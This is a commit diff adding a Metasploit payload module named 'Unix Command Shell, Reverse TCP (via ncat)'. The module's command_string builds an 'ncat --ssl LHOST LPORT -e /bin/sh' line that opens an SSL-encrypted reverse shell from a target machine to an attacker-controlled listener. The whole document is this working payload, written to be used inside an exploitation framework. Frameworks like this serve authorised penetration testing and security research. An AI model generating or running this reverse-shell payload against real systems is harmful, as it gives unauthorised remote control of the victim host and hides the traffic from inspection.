add reverse ncat ssl

Author: C-Sto

modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb

@@ -0,0 +1,52 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = :dynamic
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Unix Command Shell, Reverse TCP (via ncat)',
+      'Description'   => 'Creates an interactive shell via ncat, utilising ssl mode',
+      'Author'        => 'C_Sto',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'unix',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::ReverseTcpSsl,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'ncat',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    return super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    "ncat --ssl #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
+  end
+
+end